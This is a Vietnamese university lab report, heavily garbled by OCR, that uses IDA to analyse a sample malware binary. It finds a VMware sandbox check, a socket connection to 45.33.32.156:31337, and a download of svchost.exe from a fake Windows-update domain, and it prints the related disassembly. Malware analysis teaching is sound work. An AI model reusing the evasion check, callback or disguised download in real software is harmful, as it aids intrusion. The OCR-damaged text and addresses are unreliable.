Giới thiệu về IDA IDA Interactive Disassembler là một công cụ phân tích mã nguồn ngược mạnh mẽ và phô biến, thường được dùng trong lĩnh vực an toàn thông tin, kiếm thử bảo mật và phân
Trang 1
HOC VIEN CONG NGHE BUU CHINH VIEN THONG
KHOA AN TOAN THONG TIN
or (J -
2T ee
'THỰC HANH PHAN TICH MA BOC
ptit-code-analysis
Giang vién
Lớp môn học Nhóm bài tập
Hệ đào tạo
Thành viên
: Đinh Trường Duy 02
09 : Đại học chính quy
: Lê Xuân Mạnh
: Nguyễn Hoàng Minh : Nguyễn Thành Nam
: Lê Xuân Vương
Hà Nội, 10/2024
Trang 2DANH SACH THANH VIEN
Lé Xuan Manh B21DCAT125
Nguyễn Hoàng Minh B2IDCATI5I1
Nguyễn Thành Nam B21DCAT139
Lé Xuan Vuong (C) B2IDCAT225
Trang 3
MUC LUC
cốc Số cố ẽ.ẽ 4
1.2 Chức năng chính của I[DA - Đi 2 20 120112011211 1521112111111 1111 1111181112 cay 4 1.3 Dữ liệu thu được khi sử dụng IDA - 2 222122211231 1211 121151125112, 4
Task 1: Xác định hàm kiém tra sandbox o c.cccccccccscscssesssesssesesecsvsvevevsvevsvsvseeevevevevees 5 Task 2: Kiém tra két néi mang xac dinh dia chi IP, công kết nối - se 9 Task 3: Xác định URL đáng nghi thực hiện tải file . 5-55 2222225‡22<x25s+2 II Task 4: Nhận dạng hàm main trong TÏÖA 5 2c 2 22122211121 111 111111111112 x+2 13
3
Trang 4PHAN 1: LY THUYET PHAN 1: LY THUYET
1.1 Giới thiệu về IDA
IDA (Interactive Disassembler) là một công cụ phân tích mã nguồn ngược mạnh
mẽ và phô biến, thường được dùng trong lĩnh vực an toàn thông tin, kiếm thử bảo mật
và phân tích mã độc
Mục tiêu chính của IDA là hỗ trợ người đùng phân tích, đọc hiểu và trích xuất các chức năng từ một chương trình mà không cần mã nguồn gốc Đây là công cụ không thể thiếu trong phân tích ngược các phần mềm, đặc biệt là các chương trình không rõ nguồn sốc hoặc các mã độc hại
1.2 Chức năng chính của IDA
Dịch ngược mã (Disassembly): IDA chuyên mã máy thành mã Assembly đề người dùng có thê xem và phân tích từng lệnh trong chương trình Nhờ đó, người dùng có thể hiểu rõ cầu trúc của chương trình và các lệnh thực hiện
Hỗ trợ đa nền tảng: IDA có khả năng địch ngược mã trên nhiều nền tảng và kiến
trúc hệ thống như x86, x64, ARM, PowerPC, và MIPS Điều này rất hữu ích khi làm
việc với nhiều loại mã nhị phân khác nhau
Phân tích tĩnh và động: IDA cho phép người phân tích tĩnh và phân tích động với một số plugin và trình gỡ lỗi (debugger)
1.3 Dữ liệu thu được khi sử dụng [DA
- Ma Assembly cua chuong trinh
- Danh sách cac ham (API)
- Cac dé thi (graph) dé cho biết luồng hoạt động của mã độc
-_ Các chuỗi strings, file
- Cac ham import, export
Trang 5PHAN 2: THUC HANH
PHAN 2: THUC HANH
Task 1: Xác định hàm kiểm tra sandbox
Cai dat IDA va str dung IDA đề phân tích chương trình “shell.exe”
ubuntu@ptit-code-analysis:~$ ls
Shell.exe shell.html ubuntu@ptit-code-analysis:~S /idafree7@_Linux.run
ubuntu@ptit-code-analysis:~S Ls
sShell.exe shell.html
SA «> 8h§h & 2 «© AO dott t~#eHX POO 7) ele) DHE
Library function J Regular function [ff instruction Data Unexplored External symbol
Functions window @ &% [Œ IpA view-A X Hex View-1 % [A] Structures X [£] Enums X ŠfimpotsX (ZExports X
Function name “
[F) nullsub_1
[¥) sub_401010
[7] sub_401180
[EX
[F) start
[F) sub_401520
[F) nullsub_2
[7] sub_401560
sub 401610
1 _ leonv_init
[7] sub_401640
[Z1 sub_401730
[F) TisCallback_1
ï TIscallback_0
Ï sub 4018F0
[F] sub_401900
loc_4014F4:
ï sub _401A00 «
ry Taree , loc_40150C:
a Graph overview oes add rsp, 28h
start endp
100.00% (-287,-46) (158,475) O08008FO 80000000004014FO: start (Synchronized with Hex View-1)
Trang 6
PHAN 2: THUC HANH
Look in: |fÊ8/home/ubuntu x.@OOf8EJ
@ computer Name x Size Type Date Modified
(BF ubuntu (& idafree-7.0 Folder 25 Oct .5:40:12
shell.html 548 KB html File 10 Apr .6:29:26
File name: _ |yo.html Files of type: | HTML files (*.html)
Lưu file phân tích dưới dang html:
File -> Produce File -> Create HTML -> Lưu file với tên yo.html
Kiểm tra thay đã xuất hiện file vừa lưu
uDUNTI tit-c e-ana = ¬
Do các mã độc thường sử dụng các API liên quan đến Registry đề phát hiện chương trình Sandbox ta sẽ thử kiểm tra các API trong phần Imports Kiểm tra với API RegOpenKeyExA ta nhận được kết quả sau
Trang 7PHAN 2: THUC HANH %=) 000000 000000 RegCloseKey i is ADVAPI32 ADVAPI32
Am 000000 RegQueryValueExA ADVAPI32
=) 000000 RegSetValueExA ADVAPI32
000000 CloseHandle KERNEL32
8 000000 CreateFileA KERNEL32
ѧj 000000 CreateProcessA KERNEL32
ѧj 000000 CreateRemoteThread KERNEL32
Ñgj 000000 DeleteCriticalSection KERNEL32
ѧj 000000 EnterCriticalSection KERNEL32
XI 000000 GetComputerNameA KERNEL32
§=) 000000 GetCurrentProcess KERNEL32
ѧj 000000 GetCurrentProcessid KERNEL32
Ñgj 000000 GetCurrentThreadid KERNEL32
=) 000000 GetLastError KERNEL32
000000 GetStartupinfoA KERNEL32
&=) 000000 GetSystemTimeAsFileTime KERNEL32
Ñ 000000 GetTickCount KERNEL32
Ñ#j 000000 InitializeCriticalSection KERNEL32
Ñgj 000000 LeaveCriticalSection KERNEL32
a 000000 OpenProcess KERNEL32
8 000000 QueryPerformanceCounter KERNEL32
ѧj 000000 RtlAddFunctionTable KERNEL32
ѧj 000000 RtlCaptureContext KERNEL32
aa 000000 RtlLookupFunctionEntry KERNEL32
Ñã 000000 RtlVirtualUnwind KERNEL32
Ñã 000000 SetUnhandledExceptionFilter KERNEL32
=) 000000 Sleep KERNEL32
Ta thấy một đường dẫn liên quan đến VM Ware
SOFTWARE\\VMware, Inc.\\VMware Tools
al ca -=|
sub_403250 proc near
phkResult= qword ptr -128h
LpcbData= qword ptr -120h
Type= dword ptr -118h
cbData= dword ptr -114h
hKey= qword ptr -110h
Data= byte ptr -108h
mov [rsp+148h+phkResuLt], rax ; phkResult
lea rdx, aSoftwareVmware ; "“SOFTWARE\\VMware, Inc.\\VMware Tools" mov rcx, OFFFFFFFF80000002h ; hKey
test @ax, eax
I I Kéo xuống dưới ta thấy đây đúng là đoạn mã đề mã độc phát hiện ra môi trường ảo hoá Nếu phát hiện mã độc đang được chạy trên môi trường sandbox sẽ có một đoạn tin nhắn với tiêu đề “Message” kèm nội dung “Sandbox Deteted” được thông báo
Trang 8PHAN 2: THUC HANH
Ý
rdx, Str2 we Program Files\\VMware\\VMware T rex, rl2 ; Stri
strcmp eax, eax short Loc_4032FD
mat
Ý = vvy
a =
r9d, r9d r8, Caption loc_4032FD:
rdx, Text call sub_402EA0
ecx, ecx cs:MessageBoxA short Loc 463302
Fan
loc 403362: ; hKey} |loc_40330F:
rcx, [rsp+148h+hKey] ea rex, Str ; "Failed to open the registry key.” cs:RegCloseKey call puts
short toc 403318 T
Sau khi tìm được hàm phát hiện sanbox 1a sub_403250 quay lai terminal thye hign grep két qua tir file yo.html
grep “sub 403250” yo.html
ubuntu@ptit-code-analysis:~$ grep "sub_403250" yo.html
call sub_403250
</span><span style="color:navy">sub_403250 </span><span style="color :#008040">proc near sub_403250 endp
</span>RUNTIME FUNCTION <<span style="color:navy">rva sub 403250, \
Checkwork:
d for this Lab:
Trang 9PHAN 2: THUC HANH
Task 2: Kiểm tra kết nối mạng xác định địa chỉ IP, công kết nối
Các kết nối mạng thường lién quan dén API socket ta sé kiém tra API nay 6 phan Imports
Address tị vưUvvv Ordinal Name nga Library tHờY CC
000000 free msvcrt
000000 fwrite msvcrt
Ñj 000000 getenv msvcrt
fz] 000000 malloc msvcrt
Ñ 000000 memcpy msvcrt
Ñị 000000 printf msvcrt
Ñ 000000 puts msvcrt
000000 signal msvcrt
000000 sprintf msvcrt
=] 000000 strcmp msvcrt
Ñ] 000000 strlen msvcrt
Ñgj 000000 strncmp msvcrt
Ñ 000000 Vfprintf msvcrt
=) 000000 ShellExecuteA SHELL32
000000 MessageBoxA USER32
=) 000000 InternetCloseHandle WININET
fa 000000 InternetOpenA WININET
al 000000 InternetOpenUrlA WININET
m 000000 InternetReadFile WININET
Ñị 000000 WSACleanup WS2 32
Ñg 000000 WSAStartup WS2 32
000000, closesocket WS2_ 32
000000 connect WS2_32
f=] 000000 freeaddrinfo WS2 32
Ñj 000000 getaddrinfo WS2_32
Ñgj 000000 htons WS2_32
Ñ 000000 inet_addr WS2 32
VÉ]
000000
Ta có thê thây hàm sub_ 40220 là hàm liên gọi socket
1data : 8889900690469620 extrn socket:qword ; CODE XREF: sub_402C20+4Atp .idata:0000000000409620 ; DATA XREF: sub_402€20+4Arr
Nhìn vào hàm sub_402C20 ta thấy các thông số đáng ngờ như 45.33.32.156 và 7A69h
Ta có thể đoán được rằng 45.33.32.156 chính là địa chỉ IP
Còn 7A69h day là ma hex sau khi đôi sang decimal nhận được kết quả 31337 đây chính
là công port
Enter hex numbers
7A69 16
= Convert | x Reset | TN Swap
Decimal number (5 digits)
31337
10
Trang 10PHAN 2: THUC HANH
sub_482C20 proc near name= sockaddr ptr -1C0h WSAData= WSAData ptr -1B0h push r12
push rdi sub rsp, 1D8h xor eax, eax mov ecx, 66h lea rdi, [rsp+1E8h+WSAData]
lea rdx, [rsp+1E8h+WSAData] ; LpWSAData rep stosd
mov ecx, 262h ; wVersionRequested caLt cs:WSAStartup
mov r8d, 6 ; protocol mov edx, 1 ; type mov ecx, 2 ; af
mov qword ptr [rsp+1E8h+name.sa data+6], © caLt cs:socket
lea rex, cp ; "45.33.32.156"
mov [rsp+1E8h+name.sa_famiLy], 2 mov r12, rax
caLt cs:inet_addr mov ecx, 7A69h ; hostshort mov dword ptr [rsp+1E8h+name.sa data+2], eax call cs:htons
lea rdx, [rsp+1E8h+name] ; name mov r8d, 10h ; nameLen mov rex, r12 is mov word ptr [rsp+1E8h+name.sa data], ax call es:connect
inc eax jnz short loc_402CDO
Sau khi tim duge ip, port là 45.33.32.156 và 7A69h quay lại terminal thực hiện grep kết quả tu file yo.html
grep “45.33.32.156” yo.html
ubuntu@ptit-code-analysis:~$ grep "45.33.32.156" yo.html
</span><span style="color:navy">lea rcx, cp </span><span style="color:gray">; "45.3 3.32.156"
</span><span style="color:navy">cp db '45.33.32.156' ,0
grep “7A69h” yo.html
9h" yo.html span><span style="col
+
Trang 11
PHAN 2: THUC HANH
Task 3: Xác định URL đáng nghỉ thực hiện tải file
Đề mã độc tải file can imports cac API liên quan đến mở internet ta sẽ kiểm tra các API
đó 6 phan imports
Address AM vvvvvv Ordinal Name ypu Library reer 2
ѧj 000000 free msvcrt
ѧj 000000 fwrite msvcrt
Ñãj 000000 getenv msvcrt
ѧj 000000 malloc msvcrt
ѧj 000000 memcpy msvcrt
Ñ8j 000000 printf msvert
§ 000000 puts msvcrt
ѧj 000000 signal msvcrt
ѧj 000000 sprintf msvcrt
Ñÿj 000000 strcmp msvert
Ñ#j 000000 strlen msvcrt
Ñ#j 000000 strncmp msvcrt
§ 000000 viprintf msvert
iH) 000000 ShellExecuteA SHELL32
ѧj 000000 MessageBoxA USER32
Ñã¡ 000000 InternetCloseHandle WININET
WININET
ÑZj 000000 InternetOpenUrlA WININET
§=) 000000 InternetReadFile WININET
Sz) 000000 WSACleanup WS2 32
Re 000000 WSAStartup WS2 32
§=) 000000 closesocket WS2_32
§=) 000000 connect WS2_32
$=) 000000 freeaddrinfo WS2 32
000000 getaddrinfo WS2 32
000000 htons WS2 32
000000 inet_addr WS2 32
000000 socket WS2_32 *
Hàm goi la sub_402F40
.idata:00000000004095C0 extrn InternetOpenA:qword
idata:00000000004095C0 ; CODE XREF: sub_402F40+9Dtp -idata:00000000004095C0 ; DATA XREF: sub_402F40+9Dtr
tea rl2, [rsp+7A8h+szAgent]
tea r8, aWindowsUpdate7 ; “Windows-Update/7.6.7600.256 %s"
mov edx, 104h mov rex, r12 call sub_ 403220 mov rcx, r12 ; LpszAgent xor r9d, r9d ; LpszProxyBypass xor r8d, r8d ; LpszProxy mov edx, 1 ; dwAccessType mov [rsp+7A8h+duFLags], 6 ; dwFlags call es: InternetOpenA
mov [rsp+7A8ht+dwFlags], 80000000h ; dwFlags xor rod, rod ; dwHeadersLength xor r8d, r8d ; lpszHeaders mov [rsp+7A8h+dwContext], 6 ; dwContext mov r1l2, rax
lea rdx, szUrl ; “http: //ms-windows-update.com/svchost.ex"
mov rex, rax ; hInternet
call es:InternetOpenUrlaA mov r13, rax test rax, rax jnz short loc_40301E
1 ———_
Đoạn mã cô gắng kết nối đến một URL đề tải xuống một tài nguyên từ internet Sử dụng các hàm API của Windows để mở kết nối HTTP tới URL http:/ms-windows- update.com/svchost.exe đề thực hiện tải file hoặc các thao tác mạng khác
Trang 12PHAN 2: THUC HANH
Sau khi tìm được URL ta thực hiện grep kết quả từ file yo.html
grep http://ms-windows-update.com/svchost.exe yo.html
ubuntu@ptit-code-analysis:~$ grep "“http://ms-windows-update.com" yo.html
lea rdx, szUrl </span><span style="color:gray">; "http://ms-windows-update.com/svchost -ex"
</span><span style="color:navy">szUrl db 'http: //ms-windows-update.com/svchos'
Checkwork:
Results stored in < | student/1abtatner_xfer
sandb
r
ed for this Lab:
Trang 13PHAN 2: THUC HANH
Task 4: Nhan dang ham main trong IDA
Kiém tra API GetstartupInfoA trong phan imports vi đây là hàm có gắng kiểm soát cách thực hoạt động của hệ thống
Address Ordinal Name ~ Library
Ma 000000 CloseHandle KERNEL32
§H 000000 CreateFileA KERNEL32
=) 000000 CreateProcessA KERNEL32
000000 CreateRemoteThread KERNEL32
§=) 000000 DeleteCriticalSection KERNEL32
ѧj 000000 EnterCriticalSection KERNEL32
Ñ#j 000000 GetComputerNameA KERNEL32
ѧj 000000 GetCurrentProcess KERNEL32
8§j 000000 GetCurrentProcessid KERNEL32
Ñã¡ 000000 GetCurrentThreadid KERNEL32
ѧj 000000 GetLastError KERNEL32
GetSystemTimeAsFileTime KERNEL32 GetTickCount KERNEL32 InitializeCriticalSection KERNEL32 InternetCloseHandle WININET InternetOpenA WININET InternetOpenUrlA WININET InternetReadFile WININET LeaveCriticalSection KERNEL32 MessageBoxA USER32 OpenProcess KERNEL32 QueryPerformanceCounter KERNEL32 RegCloseKey ADVAPI32
RegOpenKeyExA ADVAPI32
RegQueryValueExA ADVAPI32 RegSetValueExA ADVAPI32 RtlAddFunctionTable KERNEL32 DEC amtuca Canton werner 25
Ta thay API này được gọi bảo ham sub_401180
.idata: 00060000004093E8 extrn GetStartupInfoA:qword
idata:00060000004093E8 ; CODE XREF: sub_401180+2E3tp
DATA XREF: sub 401180+2E3tr
Sau khi kiém tra ham sub 401180 ta thấy đây có thê là hàm main vì nó gọi đến nhiều hàm khác trong chương trình
text :00060000000401180
text: 0000000000401180 sub_401180 proc near ; CODE XREF: sub 4014C0+16ip
text: 0000000000401180 ¡ start+l6ip
text :0000000000401180 ; DATA XREF:
text :0000000000401180
text: 0000000000401180 StartupInfo = _STARTUPINFOA ptr -9A8h
text: 0000000000401180
push r13 text :0006000000401182 push r12
text: 6000000000401184 push rbp
text: 0006000000401185 push rdi
text: 0000000000401186 push rsi
text: 0000000000401187 push rbx
text :0000000000401188 sub rsp, 98h
text: 600600000040115F mov ecx, 6Dh
text :0000000000401194 xor eax, eax
text: 0000000000401196 lea r8, [rsp+0C8h+StartupInfo]
„ text: 809809668046119B mov rdi, r8
text: 000000000040119E rep stosq
text: 00000000004011A1 mov rdi, cs:off_405850
text: 00000000004011A8 mov rod, [rdi]
text :00000000004011AB test rod, r9d
text :00000000004011AE jnz toc 481460
text: 60000000004011B4
text: 00000000004011B4 loc _4011B4: ; CODE XREF: sub _401180+2E9:j
text: 00000000004011B4 mov rax, gs:30h
text :60060600004011BD mov rbx, cs:off_4657C6
text: 00000000004011C4 mov rsi, [rax+8]
text: 00000000004011C8 xor ebp, ebp
text :00000000004011CA mov r12, cs:Sleep
text :00000000004011D1 jmp short loc_4011E9